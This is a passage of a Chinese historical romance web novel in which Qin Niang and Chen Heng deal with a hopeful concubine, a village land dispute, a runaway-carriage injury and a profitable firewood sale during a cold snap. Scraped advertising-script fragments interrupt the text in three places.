平日里山崩于前而面不改色的陈衡,此刻额两侧也忍不住“突突”跳了两下。 “许是母亲玩笑之言,叶娘子勿要当真。”他道。 叶娘子擦干眼泪,又细瞧了瞧眼前之人,道:“小公子已大了,莫非早有了通房?” 陈衡的脸被斜洒的夕阳照着,分不清到底是他脸红,还是夕阳太红。 他摇了摇头,回头把秦娘推了出来:“本公子已成亲多年,和娘子有个女儿。” 秦娘和娇娇走上前。 叶娘子打量着一家三口,忽地拍了下大腿,道:“唉呀!正室娘子是正室娘子,这通房也是要有的!” 说罢不等众人反应,便让那姑娘跪下行礼。 姑娘“噗通”一声跪了下去,呐呐对三人道:“郎君、主母好。” “噗哧——”刀剑没忍住,在后边笑得弯腰。 秦娘忙将那姑娘扶起:“使不得!” 姑娘抬起头,一双漂亮的杏眼泪水点点:“主母是不要小桃?” 秦娘猛吸了一口气。 这姑娘可怜兮兮的样子,让她一个女子都忍不住心生怜悯。 她转头看向陈衡,却见他正望着远处。 “本公子的夫人善妒。”他道。 厚颜无耻……秦娘在心里暗骂了他一句。 小桃立刻低头抽搭起来。 叶娘子一看事情不成,急道:“此事原是大夫人有言在先,若公子实在不愿收了我这小女,不如……不如叫她做个粗使丫鬟跟在你们身边,也是好的。” 看来今日不收了她,是走不了了。 秦娘不愿被此事牵绊,只得道:“别哭了,快起来!郎君来此是有正事!” “谢主母!”小桃忙擦了眼泪,换上一副满意的笑脸,起身跟在秦娘身后。 陈衡看了秦娘一眼,冷冷甩袖道:“凭娘子做主。” 娇娇也拉着他的手,学他的动作没好气的看了秦娘一眼。 “只是多了个丫鬟。”秦娘小心赔笑,“不会误了你的大事。” 小桃忙道:“郎君有事尽管问,我自小生长在这庄子,什么事都知道。” 27. 保护娘子 叶娘子与小桃细细说来,庄子的情景和预料的相差无几。 刀剑打趣道:“你费这么大劲儿,不如把庄子卖了,一了百了!” “万万不可啊!”叶娘子急道,“若此时卖,定有人压价,又卖不出好价钱。况且田产能源源不断产粮,卖了岂不可惜!” 秦娘也如此想,要卖也得等庄子里一切稳定,卖个好价钱。 天已经暗下来了,大片云遮了月,过不了几日最后的倒春寒就要来了。 此时播种需讲究,有些作物根本抵不住寒气。 想了想,她还是决定等倒春寒过去再进行播种。 陈衡和刀剑不懂种地事宜,一时帮不上什么忙。 于是诸人告辞,待第二日再来做准备。 秦娘见小桃规矩跟在身后,却拿眼角余光不停看着陈衡的背影。 那媚眼如丝,别有一番风流韵味。 可惜秦娘不是真正的主母,她微微摇头,心中告诫自己不要多管闲事。 如陈衡这般家世,哪怕他纳一堆小妾,也是常有的事,何况一个通房。 * 翌日。 一大早刮起了风,卷着还嫩绿的树叶子四处扫荡。 院子里本就开的零落的花,更是萎了好几朵。 秦娘一大早从厢房出来,不禁抖了下身子。 天,如上一世一般,果真冷了下来。 今日共两件事,一件是把城中余下的干柴都买了,另一件便是回村找人。 妇人行商还是低调为好,于是她又穿起了往日常穿的农家女子衣物。 小桃见人从西厢房出来,悄悄问了几位姐姐:“夫人没和公子住在一处?怎和小姐一个房间?” 几人并不理会她。 秦娘见她满目好奇四下打量,走上前去,吩咐其他几个丫鬟留家照看娇娇。 “娇娇今日有课业,我将她留在家里,各位看管好。”她又招手让小桃跟上,“小桃,你跟我出去。” 小桃应了一声,扔下手中扫帚,脚步轻快跟了上来。 这世道,女子本就不易,想找个男子为倚靠,也无可厚非。 只是小桃……想起昨日她故意扮作可怜娇媚,秦娘暗暗叹了口气,若她能有一些傍身的技艺,或许就不用对男子如此谄媚。 想到这儿,秦娘吩咐道:“我出门办事,你可跟着学些皮毛,日后一些我不便处理之事,可交由你一二。” 小桃乖巧的点点头。 此时陈衡正从堂屋出来,已梳洗妥当,墨发用根黑色缎带松松系上,一身玄色锦袍更衬得整个人气宇轩昂。 小桃只看了一眼,便害羞的低下头。 秦娘面对这张脸早已习惯,却也将心收了收,道:“夫君起早可用过饭?” 陈衡摇头:“我早上不食。” 小桃暗中记下这个习惯,又感觉不对,为何身为娘子却不知夫君常不食早膳。 “那便走吧。”秦娘道。 陈衡似察觉到不妥,又道:“听说街角有一处早摊不错,可去尝尝。” 于是两人一起出门。 收柴很顺利,秦娘租了牛车和几个伙计,往城中各个卖干柴的铺子去了一趟,拉回了一车车柴。 更有些人家见有人收柴,拦下牛车,将自家冬天剩下的柴也卖了出去。 此物易燃又易得,众人皆不当回事。 连小桃也暗自称奇,难不成这对夫妇都是傻子,竟到处收购没人要的破烂货。 事情办妥,秦娘留小桃在粮铺看着干柴运进去存放好,自己则与陈衡还有小厮予安一道回了村。 村口还是如同她离去时,没什么变化,只有一只黄狗蹲在那大石头前,伸着舌头看着来往过路人。 秦娘一时感慨,多日不回竟十分想念。 也不知那叶家二哥娶了妻没。 正走着,忽听前方喧闹,又见人头涌动,似乎发生了什么事。 秦娘忙走的快了些,见里正被人里外围了三层。 “凭什么去年每家分的种子一样多,今年有的人多有的人少!” “我们一家五口人呢,你只给我们家这么点种子,怕是到时上缴完了一粒也剩不下!你叫我们家五口人接下来一年吃什么!” 众人吵嚷,推搡着里正。 里正是个胡子花白的老头,活得岁数更是比别人久,所以在村里备受尊敬。 他一双黑红的手臂举了举,让大家静下来。 “大伙听我说!”他声音嘶哑,“我们受张家多年恩惠,若不是我们村和张家的田庄挨着,人家才不会管我们死活!当初我们何尝不是每年把粮都交完了?一粒不剩?若不是张家好心,拉我们一把,我们哪有今天的好日子!” “你别在那儿扯东扯西!”有人不满道,“说分种子呢,碍他张家什么事?” 里正摇了摇头:“去年留的种子,在张家的庄子里不小心毁了些,今年没那么多了!全紧着人田庄呢,我们村就分了这么多!” “什么?这可让我们怎么活!”有大娘哭天呛地。 “要我说,种子又不是我们不小心毁的,凭什么让我们少分!”有人道。 里正叹了口气,继续劝说:“大家伙想想,往年张家对我们村如何?不光让你们自己种着自家的地,还以张家名义免了多少赋税!如此咱们才能留下全家一年的粮!只今年一年,大家且忍一忍,有了这次收藏种子的疏忽,来年必定更小心,种子必不会少!” 此事到了这地步,其他人也毫无办法,只得垂头丧气:“忍就忍这一年吧,少不得辛苦家里婆娘,无事到城中做做工,贴补家用了。” 秦娘听了事情始末,嘀咕道:“张家怎会出如此纰漏,田庄里去岁收种子、储藏,到今年拿出挑选,都有不止一人看顾,种子竟毁了那么多?” 她不禁猜测,张家给了这些农户们甜头后,得了这些地,便想要原有的农户给他家做世代奴了。 “这位老丈。”不等秦娘上前,陈衡先走了过去,道,“不知老丈是朝廷的里正,还是张家的管事?” 突见外乡人,众人安静下来,齐齐看着他,也自然发现了正站在一旁看热闹的秦娘。 几个大婶眸光发亮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,语气是问秦娘,目光却黏在陈衡身上:“这多日不见,秦娘,这俊俏后生是谁?该不会是你找的郎君吧?” 里正看不惯她们的样子,冷哼一声,挺起瘦小的身板回道:“我自然是朝廷的里正。” “听老丈方才一言,不知道的怕是还以为,您是那张家庄子的管事人!”陈衡讽刺道。 “要你这后生多管闲事?”里正目光里多了道敌意,“你来此作甚?” 秦娘忙上前,道:“里正莫气,此人是我家公子,身在高位,不曾接近尘土,我们村的事……他未曾见过,好奇而已。” 眼见这村里上到六十老太下到三岁丫头,都对着陈衡露出友善的笑容,所有男子皆有所戒备。 “既是如此,你便把他领回家去。”里正摆了摆手,“少让他掺和不相干之事!” “就是!哪儿来的小白脸,快带回去!”一群庄稼汉跟着附和。 予安见人多势众,忙挡在陈衡面前。 陈衡负手而立,毫不在意他人评判,又问:“敢问里正,这一片田是张家的?还是朝廷的?为何方才你又说大家受了张家恩惠?” 虽说众人两耳不闻窗外事,一心只扑在自家热炕头上,但听了这话,还是微微起了疑心。 里正也知此话不得乱说,糊弄道:“你又是何身份?什么张家的朝廷的,张家的,那就是朝廷的!就算县令及府尹大人到了,也管不了这里的地!” “就是!你这人是干嘛来了?” “是不是我们村连着几年都没上税,上头着人来查了?” 大家越看陈衡越起疑。 一个衣着不凡贵气逼人的公子,不在城中吃酒打马球耍姑娘,竟跑到乡野村郊问起话来。 “把他赶走!”有人振臂一呼。 “等等!”秦娘忙扯着他衣袖道,“大家误会了!我这就带他走!” 偏偏陈衡纹丝不动。 “我们爷正是京城来的!”予安站在前方亮出身份,“尔等若有隐田等线索,速速来报!” 众人呆住了。 不知谁的锄头“咣当”掉在了地上。 霎时,一群人围攻而起,硕大的拳头雨点般朝陈衡袭来。 …… 好在予安在前方抵挡,秦娘见陈衡并未负伤,拉起他转身就跑。 待出了村口,连那只黄狗也疯狂撵起两人来,一直将人撵到城门处才罢休。 陈衡乌发上的束带早不知飞哪里去了,整个人披头散发,衣服上沾满灰尘,甚是狼狈,竟和那群排队进城的逃难人相差无几。 秦娘头一次见她如此,掐腰喘着粗气,笑道:“早让你跑,何必跟村民们计较!你同他们说,他们哪明白?他们只知道有吃的饿不着,至于是谁的地——管他谁的呢!” 陈衡面上沉了沉,硬挺着身子道:“若不是怕阿瑶被他们误伤,我……自是不用逃跑。” 秦娘停了笑,怔了怔。 她倒忘了,陈衡也是有一身防身的功夫在。 如今只因自己的缘故,他便像从云间掉落凡尘,沾染到土里,不复当初皎洁存在。 28. 不见娘子 秦娘拔了头上发簪,递给了陈衡。 陈衡并未伸手,直说:“我不会簪发。” 说罢他便走到附近一处土坡,坐了下来。 秦娘只得随了他的意,将一头青丝捋了,整齐在头顶挽了个发髻。 虽不好看,却也凑合。 待予安风尘仆仆的过来,见到这幅画面,不禁笑道:“公子也准他人碰你发髻了?” “沦落至此,有人帮忙已是好的。”陈衡道。 秦娘见他并未受伤,道:“那些人没再追过来?” 予安点头,他自小体壮,拳脚功夫不弱,况且那些村民只是想赶走他们,人走了便不再费力去追。 “唉呀!”秦娘跳脚,埋怨道,“我们是去做什么来着?不是去请他们到庄子干活吗?怎就被你打了岔!还得再回去一趟!” 陈衡站起来,抚了抚身上灰尘:“我再和你去一回。” 予安忙拦下他:“公子就别去添乱了!” 秦娘点头:“我和大伙都识得,说话也方便些,公子就回去静等消息。” 陈衡吩咐予安:“你陪阿瑶一起。” 予安也不敢再回去,直摆手道:“公子饶了我!” “莫要推辞了!”秦娘催着两人入城,“那里是我家,哪有回家还让人陪的道理,你们快回!” 于是三人兵分两路。 秦娘又熟门熟路走了回去,路口已不见黄狗,估摸着方才跑累了,不知溜哪里休息去了。 村里各家分了种子,有的去了田里,有的回了家。 她略想了想,决定此事还是先绕过里正。 到了田垄上,秦娘正瞧见有几家在地里劳作,便挨个走了过去。 “艾叔!大娘!”她先向两人招呼。 这两人年纪大了,一双儿女皆成了婚,女儿嫁去邻村,儿子却好吃懒做,已到了春种,却不下地干活。 “小娘子回来了?”两人之前也在场,见到她不禁有些戒备。 秦娘顺手将艾大娘手里的镐头拿了过来,替她翻土:“还是只你们两人下地?喜哥儿呢?就这么点活他也不来?” 艾家的地只一小块,不多,够一家三四口吃的。 艾叔叹了口气,摇了摇头。 艾大娘还算好心,劝道:“丫头,快走吧,你带的那个公子哥,大家都怨恨的很呐!这会儿子你再来,他们怕是要把这怨气撒你身上了!” “大娘稍安!”她凑过来道,“我原是来跟大伙说个好消息的,谁料被那两个蠢的给打断了。” 听到有好消息,艾叔艾大娘都兴致勃勃。 “什么好事?咱们村好久都没听到好事了。” 秦娘故意扯着嗓子道:“那边有个田庄,离咱们村不算远,庄子里急缺春忙播种之人,庄子的东家给的颇丰!不光种子够,就是种出的粮,也只用往庄子里缴个一半,剩下的全是咱们自己的!” “啥?我没听错吧!”不远处有人放下锄头,问。 秦娘笑盈盈的问艾叔:“您瞧您这一亩三分地,种完了交了粮,也剩不下多少,不如这点活让你家喜哥儿带他婆娘一起干了,你们跟我去那个庄子做活,这样既没耽搁自家的地,又另外得了一半的粮。如何?” 艾叔有些懵了。 艾大娘忙碰了碰他胳膊,喜道:“这好啊!老头子,有这好事,你还等什么!” 艾叔忍不住拿手指探了探耳洞,头倾过来问:“真的?那边东家真许我们种出的粮留一半?” 秦娘不迭点头,笑道:“自然是真的,若信不过,东家还能与你们签了契。” 她朝远处几个人喊道,“多劳多得!种的多留的就多,若实在人力不够,种的少些,也可拿去卖了换点银子不是?” 无论怎么看,这都是笔不亏本的买卖。 几人扔下镐头锄头,纷纷涌了过来,七嘴八舌的问了一通。 秦娘解释后,众人皆是满意,甚至迫不及待的要去那个庄子。 “反正我们的地也都成了张家的地,不如直接弃了!”有人提议。 秦娘劝阻道:“大家伙还是看顾好自己的地,我们的宅子都还在,若直接弃了,张家把大家赶出去……” “这破屋子有什么好稀罕的!” “我觉得秦娘说的有理,咱们祖辈都在这儿生活多久了,若就此失了祖屋,以后有何脸面去见祖宗!” “等我赚了钱,就去城里买个小院!到时候祖宗说不准还要高看我一眼!” “呸!大逆不道!” 众人虽在争吵,每一个人却面带笑容,语气中藏着喜悦。 “那就拜托大家,跟村里挨家挨户说一声。”秦娘脸上带笑,“来者不拒,多多益善!” 事成,秦娘和众人约定,待庄子那边安排妥当,便叫庄子里的牛车来拉大家过去,自此每日早去晚归,也可去庄子做一日,看顾自家地一日。 她信心满满的回城,向陈衡告知此好消息。 这太阳整整一天都躲在了阴云后,虽有冷风,但来回跑了两趟的秦娘,却满头大汗。 终于走回了粮铺,却遍寻不见陈衡的踪影。 干柴已经把每间屋子塞的满满当当,连下脚的地方都没有。 掌柜的将记账递给秦娘,直摇头道:“收了这么多,怕是今年入冬也卖不完!” 秦娘一边交代店里伙计们千万小心火烛,一边问小桃:“公子来过没?” 小桃道:“来过,坐了一会儿就走了,说是要去庄子上。” “你没跟去?”她看着账本,抬眼问了句。 小桃的眼皮跳了跳,忙道:“夫人交代奴在此看管,奴自是不敢擅离的,况且公子身边有小厮跟着。” 秦娘垂眸继续看账,心中明了。 听她如此回答,是她要去,陈衡拒了她吧! “走,跟我去庄子。”秦娘将账本放入自己怀中,吩咐小桃。 目前庄子里许多事宜皆需安排妥当,待过了倒春寒,好快点进入正轨。 小桃跟在秦娘身后,走了两步,问道:“我们走着去?不坐马车?” 秦娘停下脚步。 她跑了这半日,只顾着事成的兴奋,竟也没发觉自己早已累的气喘吁吁。 如今有钱了,为何要如此委屈自己? 她从钱袋里摸出几块碎银,递给小桃:“到附近车马行租辆马车。” 小桃拿了银子,欢天喜地的跑着去了。 不一会儿,便有马车停到了秦娘面前。 马夫戴了斗笠,瞥了眼秦娘,指指身后:“上车吧!” 秦娘奇道:“我那侍女为何没来?” “侍女?”马夫啐了一口,道,“她拿着你的钱租 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了车,还剩些银子,跑了。” “跑了?”秦娘心中满是事情,也未来得及多想,便上了马车。 “这世道,见钱眼开的多了!小娘子你小心喽!” 说罢他摔响马鞭,驾马驶向城外。 小桃坐着辆马车过来,见前方马车荡起灰尘,又不见秦娘,心中一慌。 “夫人这是撇下我?不对,若想撇下我,直说便可,何必再花钱让我去雇车!” 她虽对秦娘有些嫉妒,遇到这等大事,也不敢耽搁。 “快,跟上那辆马车!”她吩咐道。 马夫轻轻摔了下马鞭,前方红马慢悠悠走了起来。 小桃急道:“能不能快点!” 马夫不乐意道:“小丫头,你的钱就只够租这下等马,想追前方那辆马车?简直是天方夜谭!” 小桃只得改了主意:“那就去我家田庄!” 如今她只能将这事快点告诉公子。 秦娘歪歪扭扭的靠在车厢里,此时又无外人,她终能放松一刻。 只是这马车跑的也太快了些,坐着有些颠簸。 她掀开门帘,道:“老丈,能不能跑慢点,颠的我骨头都快散架了!” 瞬间,她整个人凝固了。 车帘外哪还有人,只留一匹白马撒开蹄子,疾速向前跑去。 此处已是城外,荒郊野岭,道路两旁是树枝繁杂的密林。 她从呆滞中反应过来,慌忙拉着缰绳。 可她哪里学过驾马,只得死死攥住手中缰绳,颤巍巍的甩了一下。 谁料马儿跑的更欢了。 “救命!救命!”她大喊了好几次,却无人回应。 眼看前方道路越来越窄,马若带着车窜入密林恐更危险,她心一横,拉紧缰绳! 马儿被勒,前蹄高高抬起,伴着一声嘶鸣,猛地停了下来。 车轮的惯性让马车不受控制的向前冲去,狠狠撞向马身。 秦娘就在这千钧一发时刻,被整个人甩出了车外,滚了几滚,撞到一颗歪脖子树下,才堪堪停了。 好在她还清醒,待撕心裂肺的疼痛过去,她伸了伸胳膊退,发现自己有些动不了了。 天空传来低沉的雷声,雨快来了。 就这么躺了一会儿,秦娘靠着树缓缓坐了起来。 她的一只腿伤了,怕是今夜要在此过夜了。 * 小桃赶在下雨前,终于抵达了田庄。 她也顾不得在公子面前的娇弱模样,三两步冲了过去,逮着人便问公子在何处。 好不容易看到正和自己娘说话的陈衡,她跌跌撞撞的喊:“公子!出事了!夫人出事了!” 陈衡心一沉,强压下心中不安,问道:“出了何事!” “一辆马车,把夫人带走了!”她喘着粗气,语带哽咽,“夫人让我去租辆马车,我先去了,回来时就看到她上了另一辆马车,那还是在城中,那马车竟跑的飞快!一瞧就不对头!” “往哪个方向去了?”陈衡打断她。 小桃指了指离庄子更远的地方:“出了城、一条路,还、还经过了庄子!” 她清晰记得,庄子前头的路上有一道马车疾行的印记。 予安早已给马车上的马解了套:“公子稍待,我去找!” 陈衡一言不发抢过缰绳上了马。 29. 压住娘子 雨越下越大。 冰冷的雨点砸在秦娘身上,她不禁打了个寒颤。 若在此淋一夜的雨,不死也残。 不远处传来马蹄声,带给她一丝期望。 她抬头望去,正看到一个熟悉的身影。 那玄衣男子骑白马而过,雨滴打湿了他的乌发,粘在眼睛上,他甩了甩碎发,继续前行。 “救我——”秦娘使劲儿喊出声。 奈何她淋了雨,嗓子竟干哑起来,声音被这层层细密的雨遮盖,又迅速湮没。 她眼睁睁的看着陈衡纵马而去! 不成,她要自救! 看了看陈衡来的方向,她断定此处应离庄子不远。 秦娘艰难的扶着那颗歪脖子树,站了起来,拖着一条伤腿,朝庄子走去。 那断骨每每点到地上,便有钻心的疼痛让她清醒。 就这样一步一步,她终于看到田庄的大门。 小桃撑着把油纸伞,正在门口焦急张望,见远处来了个一瘸一拐之人,定睛一看,是夫人! 她慌忙冲了过去:“夫人,伤到哪儿了?怎么就你一个人?” 秦娘指了指她的腿,又张了张口,发现嗓子是彻底说不出话来了。 小桃这才发现,她的身子滚烫的很。 “夫人稍等!”她将伞塞到秦娘手中,转身跑进雨中呼喊人来帮忙。 待庄子里的人都蜂拥而至,秦娘实在是撑不下去,脖子一歪,倒了。 * 陈衡沉默的站在一处悬崖边。 从附近马车残骸不难断定,那匹马受了惊吓,从悬崖跳了下去。 天已经黑透了。 冷风卷着雨点袭来,山野大地只剩下茫茫的雨声。 她竟死了吗? 他站在那儿一动不动,如同一座雕像,任凭雨点砸在身上。 予安从远处追来,他未骑马,已细细将各处都搜罗了一遍。 可惜下雨掩盖了所有痕迹,他也一时难以判断。 见自家公子站在崖边,他急急上前:“公子!” 谁料陈衡未动。 他又唤了一声:“公子!” 陈衡回过神来。 “先回吧,雨下的太大。”予安见此处残骸,心中明白恐怕秦娘已凶多吉少,“天又黑,什么都看不清楚,明日再来。” 陈衡望着悬崖下,轻声问道:“你说,她死了吗?” 予安从未见自家公子如此样子,吓得扑通跪地:“公子!凡事往好处想!那秦娘子福大命大,下毒都没死,这会儿……也许已经回了呢?” 陈衡收回目光,将眸中所有情绪压了下去。 “回吧。” * 众人七手八脚把人抬到屋里,又冒雨去城中请郎中,各个收拾妥当,才想起东家还未回来。 小桃忙托人去寻,却听得有人喊了声:“东家回来了!” 见陈衡和予安都被雨淋透了,她又忙着让她娘去烧热水。 庄子里忙的人仰马翻。 予安见公子恢复了理智,问道:“今夜还回城吗?还是在此休息一夜,明日回去?” 陈衡走进屋内,解着袖子上的四方盘扣,道:“就在此吧。” 有这屋子的墙壁挡风遮雨,他此时才觉整个人活了过来,瞬间杂乱思绪涌了上来。 然千头万绪却理不开,心里极乱。 小桃走了进来:“公子是去哪里寻人了?夫人都自己回来了!” 陈衡手上动作一滞。 “回、回来了?”予安大喜,“夫人没事?公子你听见了吗?夫人回来了!” 陈衡垂眸,又继续解他的袖子束口:“回来便好。” 他未曾发现,他的嘴角不自觉的向上扯了扯。 予安道:“回来了也不说一声,害我和公子白白担心,站在那峭崖边上看了半天!” 小桃摇头叹气,愁道:“回来倒是回来了,可夫人一只腿脚受伤了,此刻还发着热。” “那还不快请大夫!”陈衡冷冷瞥了她一眼,“在哪儿?我去看看。” “哎呀,别了!”小桃只觉心中一团乱麻,“已经去城中请郎中了,公子先沐浴,回头你们也发热了,我一个人哪有三头六臂,还要照顾这么多病人!” 陈衡当机立断,吩咐予安跟他回城。 此处人手不够,应速去将郎中接来,唤那几个丫鬟前来帮忙为好。 这整整一夜,众人几乎没怎么睡。 秦娘却在昏睡中,不再受噩梦困扰。 待第二日她醒来时,已感觉舒服了许多。 闻着屋里苦闷的熬药味道,她朦朦胧胧中,见小桃正忙前忙后,莹秋拾了柴正添火。 玉蕊见她醒了,惊喜跑过来:“夫人醒了。” 见她们在此,秦娘一惊:“娇娇呢?你们来了,她怎么办?” 莹秋捂嘴笑:“夫人都这时候了,还想着别的呢!小姐由绿华和雪香照看,好的很呢!” 说着,她将一碗汤药送至秦娘嘴边。 秦娘放下了心,看了看门外的天,雨还在下着,和上一世一模一样。 绵绵细雨,如密密的针脚,扎的人透心凉。 再等几日,她的那些柴,将会大卖。 玉蕊看小桃出了屋门,凑到秦娘耳边:“夫人,昨夜……” “夫人还在病中,你说那些做什么!”莹秋听到,喝了她一声,“平白让人分心!” 玉蕊朝她吐了吐舌头,又坐了回去。 昨夜发生何事? 秦娘正好奇,见小桃倒完药渣回来,低着头不说话,眼睛还红红的。 刹那间她心道,估摸着昨夜发生的事和小桃有干系。 果然,待小桃又踏出门外,玉蕊便忍不住又道:“她有什么委屈的!我们公子才叫委屈!” 小桃难道和陈衡…… 秦娘闻言只觉得方才入了喉的药,此时突然漫了上来,一股子苦味。 不过她很快又自嘲,小桃本就存了那些心思,这些本在自己预料之中,又为何此时亲耳听到却感不适。 莹秋上前轻轻打了一下玉蕊:“叫你这丫鬟管不住自己嘴!” 既然开了话头,莹秋怕秦娘多想,于是将事情的前因后果说了一遍。 “昨夜公子原是要回去,派我们过来,那小桃非要拦着他,说是热水烧好了,要回去也得等洗了澡,换件干衣再走。”她边说边瞥着门外,怕小桃突然进来,“公子就应了,谁知她竟趁公子沐浴时,偷偷溜进去……” 说到这儿她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脸色绯红,用手帕捂着嘴,讲不下去了。 “然后呢?”秦娘忍不住问。 不知怎的,她心中有些失落。 玉蕊倒不觉害羞:“哼,没想到里边是予安!哈哈,公子没洗,只是换了件衣服,予安觉得热水浪费了,就跳进去暖了一会儿身子!” 两人说完笑作一团。 玉蕊道:“后来公子把她撵出来去了,还骂她……不知廉耻!对,不知廉耻!” 莹秋白了她一眼:“你又不在,哪知道的这么清楚?” “予安讲的!”她兴奋道,“予安一回去,就跟我讲了,哈哈,他说他的身子第一次被姑娘看见,气得要命,委屈极了!” “啪——”门外一道声音响起,小桃摔碎了碗,哭着跑了。 秦娘顿觉身上一阵轻松,收了笑容道:“你们俩,快去把小桃找来,劝慰一下,人家一个姑娘家看了男子洗澡,又被你们这样笑话,清誉受损。” “夫人,你不必管她。”玉蕊义愤填膺道,“那是她自作自受!” 秦娘想起昨日回来时,小桃在门口张望的样子。 “还是把她叫来吧,我问问她。” “夫人要问什么?”一道沉沉的声音在门口响起,只见陈衡冷着脸走了进来,“是问她要不要做妾?” 秦娘将头扭到一边。 她看见他就来气! 昨日她眼睁睁的看着人从自己面前飞奔而去,竟没发现自己,害她拖着残躯走了那么远才回来! 莹秋和玉蕊忙站起身让座行礼。 陈衡到床边坐下,看了眼她的腿,道:“昨夜已请了大夫,将伤脚接骨包扎,接下来阿瑶潜心休养便是。” 接骨?秦娘使劲儿起身看了眼自己的脚踝。 “我残了?”她大惊,“为何我这腿感觉不到疼痛?我成跛子了?” 这消息比小桃爬了陈衡的床还令她震惊。 “勿动!”陈衡将她上半身压下,讥讽道,“你只是喝了麻沸散!待过了药效,疼痛既至!” 秦娘稍稍放心,又问:“那我以后……还能走路吗?” “自然。”他瞄了她一眼,吩咐两位丫鬟,“该换药了!” 说罢,他整个人俯身,用胳膊将秦娘死死压住! “做……做什么!”秦娘面对猛然而至的一张俊脸,不由脸红的像桃子熟了一样,“放开我!” 莹秋和玉蕊想笑却不敢笑,一人掀开被角,一人拿了剪刀。 “夫人,大夫说了,换药得保证您全身不得动弹。”莹秋解释。 待她拿着剪刀,将小腿上那厚厚一层布剪掉,秦娘才明白为何。 血水早已和布粘到了一起,秦娘感到自己的皮硬生生被撕掉了一层,若无人压着,怕是无论如何也换不下药。 待莹秋将草药给伤口敷上,又拿了干净的布包好,秦娘才松了一口气。 她一抬眼,见陈衡近在咫尺,一双美目正一瞬不瞬的盯着自己。 她呼吸一窒。 陈衡的喉结动了下,一滴汗从他额间滑过,缓缓流到他的喉结。 秦娘只觉血脉偾张。 下一刻,只见陈衡皱了皱眉,起身。 刹那间她的鼻尖充满了大片湿润的空气,整个人终于回归理智。 30. 娘子不离 一连几日阴雨。 人们冻得实在受不了,有钱人家纷纷拿出冬日棉衣穿上,普通人家却因入了春就将棉衣当了,只好默默承受着刺骨的寒湿。 有人想去山上砍柴来烧,却发现树枝被雨浇了几日,根本燃不起来。 街头开始有人四处买柴。 秦娘一连修养了几日,伤口已好的差不多了,只是脚踝还日日作痛,不能下地,一想到那满屋子的柴,她就无法心安。 她想让小桃到粮铺去帮忙,毕竟当日小桃也经手过此事。 这几日小桃进进出出,皆不言语,只顾着干活,想来是打击过大,一时转圜不过来。 她默默将一包药拿进来递给莹秋,又转身出去。 秦娘叫住了她:“小桃,你过来。” 小桃回过身来,呆呆的看着她。 秦娘只好又招了招手:“叫你呢!” 小桃这才亦步亦趋的走到床边,弯身福了福,道:“夫人吩咐。” “那件事……你如何打算?”秦娘单刀直入。 小桃惊慌跪下:“夫人,我错了,别把我给了予安做妾!” “快起来!”秦娘躺着,一动腿就疼,只能看着她干着急,“别动不动就跪,我问你的意思,就是不打算插手这件事,一切随你。” 小桃神情这才放松下来,又磕了个头道:“谢夫人!” “你的事原应你自己做主,只是如今你的清誉也算毁了……”秦娘看察着她的神情,斟酌道,“你若愿意,婚事便往后拖一拖,今后跟着我学做买卖,以后好有些经验傍身。” 小桃忙不迭点头,激动的说不出话来。 “正好我腿脚不便。”秦娘交代,“你这就替我去一趟粮铺看看,今日也该打出名头,让城里的人知道,我们这儿有干柴。” “是,我这就去看看!”小桃转身走了几步,又退回来问,“只是夫人,若往外卖,我们该定价多少?” 秦娘告诉她账本的位置,让她去取:“账上记下了当时我们买的时候,每车花了多少,如今若有整买,你就加十倍卖,若是零买,你看看市价,不赔就成。” 小桃认真听完,不解道:“为何整买要加价那么多倍?” “若你能买得起整车,还会在乎要付多少钱?”秦娘反问。 小桃恍然大悟。 物以稀为贵,若雨还这样下着,干柴必定会价格飞涨。 而一买就是一整车的,除了奸商囤货,就是家底颇厚的人家。 奸商囤货,大抵是不愿出十倍进价的,如此一来也能防止价格越来越贵,炒到天上去,害的普通人家用不起。 而一出手就能拿出那么多钱的人家,也不在乎价格有多贵。 玉蕊在一旁听了直拍手叫好:“好一招劫富济贫!” 小桃领命,便飞快出了门。 果然如秦娘所料,接下来的几天里,干柴价格水涨船高。 且因他人手中存货不多,渐渐地,人们都涌入陈衡的粮铺,连带着粮也卖出去了不少。 那粮铺原就是大户排挤,这些散客却不管谁家能买,谁家不能买,来买柴火时顺便捎带一些,也十分方便。 小桃每日回来,都高兴的合不拢嘴,将账本拿给秦娘看,今日又进账多少。 “可惜钱都在掌柜那儿!他还要扣掉什么租金,分成,扣着扣那的,我都弄不清咱们到底赚了多少!”她抱怨道,“夫人既然和公子一体,为何还要分的那么清楚,公子的不就是夫人的?” 秦娘只好胡乱诌道:“那干柴都是用我的嫁妆钱买的,当然要分开了!女子的嫁妆,自然要自己保管,就算哪天和离了,也得带走!” “谁要和离?”陈衡走了进来,冷冷道。 他身后跟着两个庄稼汉,搬进来了一把木制的轮椅。 予安跟在后边,道:“大夫说了,夫人时常躺着也不好,得起来坐坐。这不,公子一听就上了心,找人做了这东西。” 陈衡瞥了他一眼:“多嘴。” 秦娘这些天躺的,背后骨头一块一块的疼,翻个身也得小心翼翼,怕动了伤。 一见到此物,她跃跃欲试起来:“快,我要坐上试试。” 她见莹秋和玉蕊要来扶,便撑起上半身。 下一刻她突然腾空而起,掉入了一个温暖的怀抱。 她被陈衡抱了起来。 只短短几步路,秦娘闻到他身上淡淡的木香,身子紧挨处,隐隐感受到他紧绷的胸肌。 秦娘的心一慌乱,随即整个人被放在了轮椅上。 “如何?”他问。 莹秋过来推了推,道:“不用费太多力,不错。” “太好了!”秦娘喜出望外,“备好马车,我这就去城中逛一逛。” 她不止心系她的柴火生意,还记挂着小女娇娇。 虽然交给陈衡看管她自是不用费心,可两人分开的这些天,天气不好,也不知她冻着了没有。 * 秦馠哆哆嗦嗦的抖着身子,推开街边一间屋子的门。 屋里酒气熏天,只见沈鱼抱着酒瓶缩在角落里的干草堆上,双眼迷离,鼻头通红,已是醉了。 他出狱后又来找了秦馠。 沈府回不去,外头租的那间小院两人也无力负担,只得在街上找了间便宜屋子住下。 这屋子里连张桌子都没,只有一张床加两张小凳,平日里两人只好将小凳当作桌子用。 窗外不时有冷气渗进来,秦馠跺了跺脚,又搓了搓手,才拿了一张草纸将漏风的窗纸窟窿糊上。 这一跺脚,惊醒了沈鱼。 